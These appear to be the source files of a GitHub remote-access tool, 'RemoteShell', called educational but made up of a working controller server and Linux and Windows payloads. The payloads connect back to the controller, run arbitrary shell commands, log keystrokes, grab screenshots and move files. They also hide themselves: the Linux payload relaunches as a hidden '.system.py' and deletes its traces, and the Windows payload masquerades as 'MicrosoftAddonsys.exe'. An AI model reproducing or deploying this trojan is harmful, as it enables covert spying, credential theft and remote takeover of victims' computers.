This component is designed for educational and ethical hacking purposes, allowing you to execute commands and maintain remote control 
#!/usr/bin/python

# Description - ( Linux systems ):

# This script serves as the client-side counterpart to the Remote Shell server.
# It connects to the server and allows the execution of commands.

try:
    # Standard library imports
    import io
    import socket
    import threading
    import time
    import subprocess
    import os
    import sys
    import platform
    import shutil

    # Import Special libraries
    import json
    from PIL import ImageGrab
    from pynput.keyboard import Key, Listener

except ModuleNotFoundError:
    from subprocess import call
    modules = ["Pillow", "pynput"]
    call("pip install " + ' '.join(modules), shell=True)


class RemoteControl:
    def __init__(self):
        self.l_host = '192.168.0.0'
        self.l_port = 5555
        self.server_socket = None
        self.keylogger_active = False
        self.active_keylogger_listener = False
        self.connection_died = 0  # ............... if 1, __main__ loop sys.exit(0).
        self.timeout = 0  # ....................... Time-out logic handle, server disconnect mid-session.
        self.json_receive_timeout = 0  # .......... json Time-out logic handle, server disconnect mid-session.

    def receive_server_commands(self):
        """
        Retrieves commands from server
        """
        while True:
            try:
                command = self.receive_data_as_json()
                if command == 'quit':
                    self.connection_died = 1
                    break
                elif command == '':
                    # handle server disconnect mid-session
                    self.timeout += 1
                    time.sleep(0.25)
                    if self.timeout == 15:
                        self.connection_died = 1
                        break

                elif command == 'clear':
                    continue

                elif command[:3] == 'cd ':
                    os.chdir(command[3:])
                    continue

                elif command.startswith('keyscan start'):
                    self.keylogger_active = True
                    self.active_keylogger_listener = True
                    print("Keylogger started.")
                    continue

                elif command.startswith('keyscan stop'):
                    self.keylogger_active = False
                    print("Keylogger stopped.")
                    continue

                elif command.startswith('download'):
                    # upload to server
                    self.upload_file(command[9:])
                    continue

                elif command.startswith('upload'):
                    # download from server
                    self.download_file(command[7:])
                    continue

                elif command.startswith('screenshot'):
                    self.screen_shot()
                    continue

                elif command.startswith('sys info'):
                    self.sys_info()
                    continue

                else:
                    # Execute the command with shell and capture the output
                    execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                                               stdin=subprocess.PIPE)
                    result = execute.stdout.read() + execute.stderr.read()
                    result = result.decode()
                    # Send shell result to server
                    time.sleep(1)
                    self.send_data_as_json(result)

            except Exception as e_main:
                print(f"\ndef[Main] Error:\n{e_main}")
                self.connection_died = 1
                break

    def capture_keys(self, key):
        """
        Captures and sends pressed keys to the server if key logging is active.
        :param key: The key pressed by the user.
        """
        if self.keylogger_active:
            try:
                # Check if the key represents the backspace key
                if key == Key.backspace:
                    char = "<- "
                elif key == Key.space:
                    char = " "
                elif key == Key.enter:
                    char = "\n"
                elif hasattr(key, 'char'):
                    char = key.char
                    # There's a bug when pressing numpy 5 on linux systems
                    # {'vk': 65437, 'char': None, 'is_dead': False, 'combining': None, '_symbol': None}
                    if key.vk == 65437:
                        char = "5"
                else:
                    char = str(key.char)
                self.server_socket.send(char.encode())
            except Exception as e_cap_key:
                print(f"\ndef [capture_keys] Error:\n{e_cap_key}")
        else:
            listener.stop()

    def connect_to_server(self):
        """
        Establishes a connection to the remote server.
        """
        while True:
            try:
                self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.server_socket.connect((self.l_host, self.l_port))
                print("[+] Connected!")
                break
            except TimeoutError:
                print('[!] Connection timed out, retrying in 10 seconds...')
                time.sleep(10)
            except Exception as e_connect:
                print(f'[!] An error occurred: {e_connect}')
                time.sleep(10)

    def send_data_as_json(self, data):
        """
        Converts data to JSON and sends it over the server socket
        """
        json_data = json.dumps(data)
        self.server_socket.send(json_data.encode())

    def receive_data_as_json(self):
        """
        Receives data from the server and decodes it as JSON
        """
        received_data = ''
        while True:
            if self.json_receive_timeout == 25:
                break
            try:
                received_data += self.server_socket.recv(1024).decode().rstrip()
                return json.loads(received_data)
            except json.JSONDecodeError:
                self.json_receive_timeout += 1
                continue

    def upload_file(self, file_name):
        """
        Uploads a file to the server
        """
        try:
            with open(file_name, 'rb') as up_file:
                self.server_socket.send(up_file.read())
        except Exception as e_upload_file:
            print(f"Error uploading file: {e_upload_file}")
            pass

    def download_file(self, file_name):
        """
        Downloads a file from the server
        """
        try:
            with open(file_name, 'wb') as down_file:
                self.server_socket.settimeout(1)
                while True:
                    chunk = self.server_socket.recv(1024)
                    if not chunk:
                        break
                    down_file.write(chunk)
        except socket.timeout:
            pass  # Ignore timeouts
        except Exception as e_download_file:
            print(f"Error downloading file: {e_download_file}")
            pass
        finally:
            self.server_socket.settimeout(None)

    def screen_shot(self):
        """
        Captures a screenshot, converts it to bytes, and sends it in chunks
        """
        screenshot = ImageGrab.grab()
        image_stream = io.BytesIO()
        screenshot.save(image_stream, format='PNG')
        image_data = image_stream.getvalue()
        chunk_size = 1024
        total_sent = 0
        while total_sent < len(image_data):
            chunk = image_data[total_sent:total_sent + chunk_size]  # calculates the ending index for slicing
            self.server_socket.send(chunk)
            total_sent += len(chunk)

        # Send a marker to indicate the end of the image
        self.server_socket.send(b"END_OF_IMAGE")

    def sys_info(self):
        """
        Retrieves system information and sends it as JSON
        """
        system_info = f"""
        • Platform: {uname_info.sysname}
        • System: {uname_info.release}
        • Arch: {uname_info.machine}"""
        time.sleep(0.15)
        self.send_data_as_json(system_info)


if __name__ == "__main__":
    # Define the path to the lock file
    lock_file_path = "/tmp/.system_lock"

    # Get the current script's filename and directory
    current_script = os.path.abspath(__file__)
    script_directory = os.path.dirname(current_script)

    # Check if the lock file exists
    if not os.path.exists(lock_file_path):
        # Create the lock file to prevent further duplication
        with open(lock_file_path, "w") as lock_file:
            lock_file.write("lock")

        # Define the new filename and destination directory
        new_filename = ".system.py"
        destination_directory = script_directory  # Replace with your desired destination directory

        # Copy the script to the destination directory with the new filename
        new_script_path = os.path.join(destination_directory, new_filename)
        shutil.copyfile(current_script, new_script_path)

        # Make the new script executable
        os.chmod(new_script_path, 0o644)

        # Run the new script in the background with nohup
        subprocess.Popen(["nohup", "python", new_script_path, "&"])

        # Remove the current script
        os.remove(current_script)

        # Exit the current script
        sys.exit(0)

    # Check if the lock file exists
    if os.path.exists(lock_file_path):
        # Remove trace files
        os.remove(current_script)
        os.remove(os.path.join(script_directory, 'nohup.out'))

        # Remove the lock file, gg wp :)
        os.remove(lock_file_path)

    # Get system information
    uname_info = os.uname()

    server = RemoteControl()
    server.connect_to_server()

    server_commands_thread = threading.Thread(target=server.receive_server_commands)
    server_commands_thread.start()

    while True:
        '''
        main loop, all the other code is handled by "server_commands_thread"
        '''
        try:
            if server.connection_died == 1:
                print("\n[!] Connection died. Exiting in 3 seconds...")
                time.sleep(3)
                sys.exit(0)

            # Active listener logic
            if server.active_keylogger_listener:
                while server.keylogger_active:
                    listener = Listener(on_press=server.capture_keys)
                    listener.start()
                    server.active_keylogger_listener = False
                    break
            time.sleep(1)

        except KeyboardInterrupt:
            continue
        except Exception as e_main_loop:
            print(f"__main__ [Main loop]:\n{e_main_loop}")
            sys.exit(0)

lin_payload.py
Mr1llusion/RemoteShell
#!/usr/bin/python

# Remote Shell - ( Linux systems )

# Description:
# This script establishes a remote shell connection with a target machine, allowing the execution
# of various commands and file operations.

# [</>] Problems:
# • Problem 1: sometimes KeyboardInterrupt doesn't work on Windows.
# ~ Workaround: To avoid this issue, it's recommended to run the
# server on a Linux system where KeyboardInterrupt works as expected.

# • Problem 2: Some system commands may not provide a response, causing the shell to appear unresponsive.
# ~ Workaround: If you encounter this issue, use KeyboardInterrupt (Ctrl+C) to exit the current command
# and then press Enter to stay in the shell and run another command.


# Standard library imports
import socket
import os
import time
from datetime import datetime

# Import Special libraries
import json


class Server:
    def __init__(self):
        # .....................................  [ Initialize class attributes ]
        self.l_host = '192.168.0.0'  # ... Local host
        self.l_port = 5555  # ............ Local port
        self.r_host = None  # ............ Remote host (to be set later)
        self.base_filename = None  # ..... Base filename for logs and screenshots
        self.log_filename = None  # ...... Log filename
        self.screenshot_filename = None  # Screenshot filename
        self.dump_logging = ""  # ........ Initialize log data
        self.server_socket = None  # ..... Server socket
        self.target_socket = None  # ..... Target socket
        self.active_once = True  # ....... Initialize active_once flag

    def main(self):
        """
        Main function to handle the remote shell.
        """
        # Set base filenames for logs and screenshots using the current date and time.
        self.base_filename = datetime.now().strftime("%d-%m-%Y_%H-%M")
        self.log_filename = f'{self.base_filename}.txt'
        self.screenshot_filename = f'{self.base_filename}.png'

        # Create a server socket with IPv4 on TCP protocol and wait for incoming target connection.
        self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server_socket.bind((self.l_host, self.l_port))
        print("[•] Listening for incoming connections")
        self.server_socket.listen(5)

        # Accept a connection from the target and print the connection information.
        self.target_socket, self.r_host = self.server_socket.accept()
        print("[+] connected to: " + str(self.r_host))

        print("\n[*] Type: info\n")

        # Enter shell
        while True:
            try:
                command = input("[$] shell~# ")
                if command == '':
                    continue

                elif command.lower() == 'info':
                    print("""

                        [*] Shell commands:


                        • keyscan start - Start the keylogger.

                        • keyscan stop - Stop the keylogger and save the log to a file in the script's directory.

                        • screenshot - Take a screenshot and save the img in the script's directory.

                        • download <file_name> - Download a file from the target.

                        • upload <file_name> - Upload a file to the target.

                        • sys info - Get target info (IP + Port, Platform, System, Architecture).

                        • clear or cls - Clear the screen.


                        • quit - Quit the shell and close the connection.


                        Note: Replace <file_name> with the name of the file you want to download or upload.

                        """)
                    continue

                elif command.startswith('keyscan stop'):  # just to be safe
                    continue

                self.send_data_as_json(command)

                if command.lower() == 'quit':
                    self.dump_log_file()
                    self.target_socket.close()
                    exit(0)

                elif command.startswith('cd '):
                    continue

                elif command in ['clear', 'cls']:
                    clear_command = 'clear' if command == 'clear' else 'cls'
                    os.system(clear_command)
                    continue

                elif command.startswith('keyscan start'):
                    print("[+] Keylogger started.")
                    print("[!] ctrl+C to save & stop")
                    self.key_logger()
                    print("[!] Log saved! ")
                    time.sleep(1.25)
                    self.send_data_as_json('keyscan stop')
                    continue

                elif command.startswith('download'):
                    self.download_file(command[9:])
                    continue

                elif command.startswith('upload'):
                    self.upload_file(command[7:])
                    continue

                elif command.startswith('screenshot'):
                    self.screen_shot()
                    continue

                elif command.startswith('sys info'):
                    self.target_sys_info()
                    continue

                else:
                    # If the command is not recognized as a shell command,
                    # send it to the target system and wait for a response.
                    result = self.receive_data_as_json()
                    print(result)

            except KeyboardInterrupt:
                # Handle KeyboardInterrupt: Provide the user with two options - leave the program or stay.
                print("[ WARNING ] #~ KeyboardInterrupt ~# [ WARNING ]\n"
                      "</> Press [ Enter ] to stay.\n"
                      "</> Type [ Yes ] to Exit.\n")

                KeyboardInterrupt_loop = input("[ Exit? ]--> ")
                if KeyboardInterrupt_loop.lower() == 'yes':
                    break
                else:
                    continue

    def dump_log_file(self):
        """
           Step 1: Check if a log file already exists. If it does, add a number to the filename.
           Step 2: Create a log file and append the keylog string to it.
        """
        count = 1
        while os.path.exists(self.log_filename):
            count += 1
            self.log_filename = f'{self.base_filename} ({count}).txt'

        with open(self.log_filename, "a") as log:
            log.write(self.dump_logging)

    def key_logger(self):
        """
        • Initialize a log string.
        • continuously receive key logs from the target, and append received keys to the log string.
        • Use "KeyboardInterrupt" to stop receiving key logs and deactivate the keylogger on the target machine.
        """
        self.dump_logging = ""  # Initialize log string
        while True:
            try:
                R_OUTPUT = self.target_socket.recv(1024).decode()
                print(R_OUTPUT, end='')
                self.dump_logging += R_OUTPUT  # Append received keys to the log
            except KeyboardInterrupt:
                self.dump_log_file()  # Save the log to a fil
                break

    def send_data_as_json(self, data):
        """
        Convert data to JSON format and send it to the target system.

        Args:
            data (str): The data to be serialized and sent as JSON.
        """
        json_data = json.dumps(data)
        self.target_socket.send(json_data.encode())

    def receive_data_as_json(self):
        """
         Receive data as JSON from the target system.

         Returns:
             dict: The received data parsed from JSON.
         """
        received_data = ''
        while True:
            try:
                received_data += self.target_socket.recv(1024).decode().rstrip()
                return json.loads(received_data)
            except json.JSONDecodeError:
                continue

    def upload_file(self, file_name):
        """
        Upload a file to the target system.

        Args:
            file_name (str): The name of the file to be uploaded.

        """
        try:
            with open(file_name, 'rb') as up_file:
                self.target_socket.send(up_file.read())

        except Exception as e_upload_file:
            print(f"Error uploading file: {e_upload_file}")

    def download_file(self, file_name):
        """
        Download a file from the target system.

        Args:
            file_name (str): The name of the file to be downloaded.
        """
        try:
            with open(file_name, 'wb') as down_file:
                # Set a timeout to prevent Hanging indefinitely while waiting for data
                self.target_socket.settimeout(1)
                while True:
                    chunk = self.target_socket.recv(1024)
                    if not chunk:
                        break
                    down_file.write(chunk)

        except socket.timeout:
            pass

        except Exception as e_download_file:
            print(f"Error downloading file: {e_download_file}")

        finally:
            # Reset the socket's timeout to its default state (no timeout)
            self.target_socket.settimeout(None)

    def screen_shot(self):
        """
        Capture a screenshot from the target system and save it as a .png file.

        Steps:
        1. Check if a file with the base name already exists. If it does, add a number to the filename.
        2. Create a .png file and receive image chunks from the target, writing them to the file.
        3. Wait to receive the "END_OF_IMAGE" code to stop the loop and finalize the screenshot.

        Returns:
            None
        """
        # Check if the file with the base name already exists
        count = 1
        while os.path.exists(self.screenshot_filename):
            # If it exists, increment the count and update the filename
            count += 1
            self.screenshot_filename = f'{self.base_filename} ({count}).png'

        try:
            with open(self.screenshot_filename, 'ab') as screen_shot:
                while True:
                    # Receive the image chunk
                    image_chunk = self.target_socket.recv(1024)

                    # Check if the received chunk is the last part of the image
                    if b"END_OF_IMAGE" in image_chunk:
                        screen_shot.write(image_chunk[:-len(b"END_OF_IMAGE")])
                        break
                    else:
                        screen_shot.write(image_chunk)

        except Exception as e_screenshot:
            print(f"Screenshot error: {e_screenshot}")

    def target_sys_info(self):
        """
        Retrieve and display information about the target system.
        """
        print(f"\n[+] Target information")
        print(f"IP: {self.r_host}", end='')
        target_sys = self.receive_data_as_json()
        print(target_sys, "\n")


if __name__ == "__main__":
    server = Server()  # enter ip and port
    server.main()

server.py
Mr1llusion/RemoteShell
# Description - ( Windows systems ):

# Windows payload duplicates itself with a different name in the tmp directory,
# executes the new script, and connects to a remote server for command execution.


try:
    # Standard library imports
    import io
    import socket
    import threading
    import time
    import subprocess
    import os
    import sys
    import platform
    import shutil
    import tempfile

    # Import Special libraries
    import json
    from PIL import ImageGrab
    from pynput.keyboard import Key, Listener
except ModuleNotFoundError:
    from subprocess import call
    modules = ["Pillow", "pynput"]
    call("pip install " + ' '.join(modules), shell=True)


class RemoteControl:
    def __init__(self):
        self.l_host = '192.168.0.0'
        self.l_port = 5555
        self.server_socket = None
        self.keylogger_active = False
        self.active_keylogger_listener = False
        self.connection_died = 0  # ............... if 1, __main__ loop sys.exit(0).
        self.timeout = 0  # ....................... Time-out logic handle, server disconnect mid-session.
        self.json_receive_timeout = 0  # .......... json Time-out logic handle, server disconnect mid-session.

    def receive_server_commands(self):
        """
        Retrieves commands from server
        """
        while True:
            try:
                command = self.receive_data_as_json()
                if command == 'quit':
                    self.connection_died = 1
                    break
                elif command == '':
                    # connection lost, auto exit
                    self.timeout += 1
                    time.sleep(0.25)
                    if self.timeout == 15:
                        self.connection_died = 1
                        break
                elif command == 'clear':
                    continue

                elif command[:3] == 'cd ':
                    try:
                        os.chdir(command[3:])
                    except Exception as cd_error:
                        self.send_data_as_json(str(cd_error))
                        continue

                elif command.startswith('keyscan start'):
                    self.keylogger_active = True
                    self.active_keylogger_listener = True
                    print("Keylogger started.")
                    continue

                elif command.startswith('keyscan_stop'):
                    self.keylogger_active = False
                    print("Keylogger stopped.")
                    continue

                elif command.startswith('download'):
                    # upload to server
                    self.upload_file(command[9:])
                    continue

                elif command.startswith('upload'):
                    # download from server
                    self.download_file(command[7:])
                    continue

                elif command.startswith('screenshot'):
                    self.screen_shot()
                    continue

                elif command.startswith('sys info'):
                    self.sys_info()
                    continue

                else:
                    try:
                        # Execute the command with shell and capture the output
                        execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                                                   stdin=subprocess.PIPE)
                        result = execute.stdout.read() + execute.stderr.read()
                        result = result.decode()
                        # Send shell result to server
                        time.sleep(1)
                        self.send_data_as_json(result)
                    except Exception as command_exp:
                        time.sleep(1)
                        self.send_data_as_json(str(command_exp))

            except Exception as e_main:
                print(f"\ndef[Main] Error:\n{e_main}")
                self.connection_died = 1
                break

    def capture_keys(self, key):
        """
        Captures and sends pressed keys to the server if key logging is active.
        :param key: The key pressed by the user.
        """
        if self.keylogger_active:
            try:
                if key == Key.backspace:
                    char = "<- "
                elif key == Key.space:
                    char = " "
                elif key == Key.enter:
                    char = "\n"
                elif key.vk == 97:
                    char = "1"
                elif key.vk == 98:
                    char = "2"
                elif key.vk == 99:
                    char = "3"
                elif key.vk == 100:
                    char = "4"
                elif key.vk == 101:
                    char = "5"
                elif key.vk == 102:
                    char = "6"
                elif key.vk == 103:
                    char = "7"
                elif key.vk == 104:
                    char = "8"
                elif key.vk == 105:
                    char = "9"
                else:
                    char = getattr(key, 'char')
                self.server_socket.send(char.encode())
            except Exception as e_cap_key:
                print(f"\ndef [capture_keys] Error:\n{e_cap_key}")
        else:
            listener.stop()

    def connect_to_server(self):
        """
        Establishes a connection to the remote server.
        """
        while True:
            try:
                self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.server_socket.connect((self.l_host, self.l_port))
                print("[+] Connected!")
                break
            except TimeoutError:
                print('[!] Connection timed out, retrying in 10 seconds...')
                time.sleep(10)
            except Exception as e_connect:
                print(f'[!] An error occurred: {e_connect}')
                time.sleep(10)

    def send_data_as_json(self, data):
        """
        Converts data to JSON and sends it over the server socket
        """
        json_data = json.dumps(data)
        self.server_socket.send(json_data.encode())

    def receive_data_as_json(self):
        """
        Receives data from the server and decodes it as JSON
        """
        received_data = ''
        while True:
            if self.json_receive_timeout == 25:
                break
            try:
                received_data += self.server_socket.recv(1024).decode().rstrip()
                return json.loads(received_data)
            except json.JSONDecodeError:
                self.json_receive_timeout += 1
                continue

    def upload_file(self, file_name):
        """
        Uploads a file to the server
        """
        try:
            with open(file_name, 'rb') as up_file:
                self.server_socket.send(up_file.read())
        except Exception as e_upload_file:
            print(f"Error uploading file: {e_upload_file}")
            pass

    def download_file(self, file_name):
        """
        Downloads a file from the server
        """
        try:
            with open(file_name, 'wb') as down_file:
                self.server_socket.settimeout(1)
                while True:
                    chunk = self.server_socket.recv(1024)
                    if not chunk:
                        break
                    down_file.write(chunk)
        except socket.timeout:
            pass  # Ignore timeouts
        except Exception as e_download_file:
            print(f"Error downloading file: {e_download_file}")
            pass
        finally:
            self.server_socket.settimeout(None)

    def screen_shot(self):
        """
        Captures a screenshot, converts it to bytes, and sends it in chunks
        """
        screenshot = ImageGrab.grab()
        image_stream = io.BytesIO()
        screenshot.save(image_stream, format='PNG')
        image_data = image_stream.getvalue()
        chunk_size = 1024
        total_sent = 0
        while total_sent < len(image_data):
            chunk = image_data[total_sent:total_sent + chunk_size]  # calculates the ending index for slicing
            self.server_socket.send(chunk)
            total_sent += len(chunk)

        # Send a marker to indicate the end of the image
        self.server_socket.send(b"END_OF_IMAGE")

    def sys_info(self):
        """
        Retrieves system information and sends it as JSON
        """
        system_info = f"""
        • Platform: {platform.processor()}
        • System: {platform.system()}
        • Arch: {platform.machine()}"""
        time.sleep(0.15)
        self.send_data_as_json(system_info)


if __name__ == "__main__":
    # Check if a marker file exists to indicate that the script has already been copied
    marker_file = os.path.join(tempfile.gettempdir(), "script_copied.txt")

    if not os.path.exists(marker_file):
        # Copy the executable to the temporary directory with the new filename
        current_executable = sys.executable
        new_filename = "MicrosoftAddonsys.exe"
        new_executable_path = os.path.join(tempfile.gettempdir(), new_filename)
        shutil.copy2(current_executable, new_executable_path)

        # Create a marker file to indicate that the script has been copied
        with open(marker_file, "w") as marker:
            marker.write("Script copied")
            time.sleep(1)
        # Execute the copied script
        subprocess.Popen([new_executable_path])
        sys.exit(0)

    time.sleep(3)

    # Connect to the server
    server = RemoteControl()
    server.connect_to_server()

    server_commands_thread = threading.Thread(target=server.receive_server_commands)
    server_commands_thread.start()

    while True:
        '''
        main loop, all the other code is handled by "server_commands_thread"
        '''
        try:
            if server.connection_died == 1:
                print("\n[!] Connection died. Exiting in 3 seconds...")
                time.sleep(3)
                sys.exit(0)

            if server.active_keylogger_listener:
                while server.keylogger_active:
                    listener = Listener(on_press=server.capture_keys)
                    listener.start()
                    server.active_keylogger_listener = False
                    break
            time.sleep(1)

        except KeyboardInterrupt:
            continue
        except Exception as e_main_loop:
            print(f"__main__ [Main loop]:\n{e_main_loop}")
            sys.exit(0)

win_payload.py
Mr1llusion/RemoteShell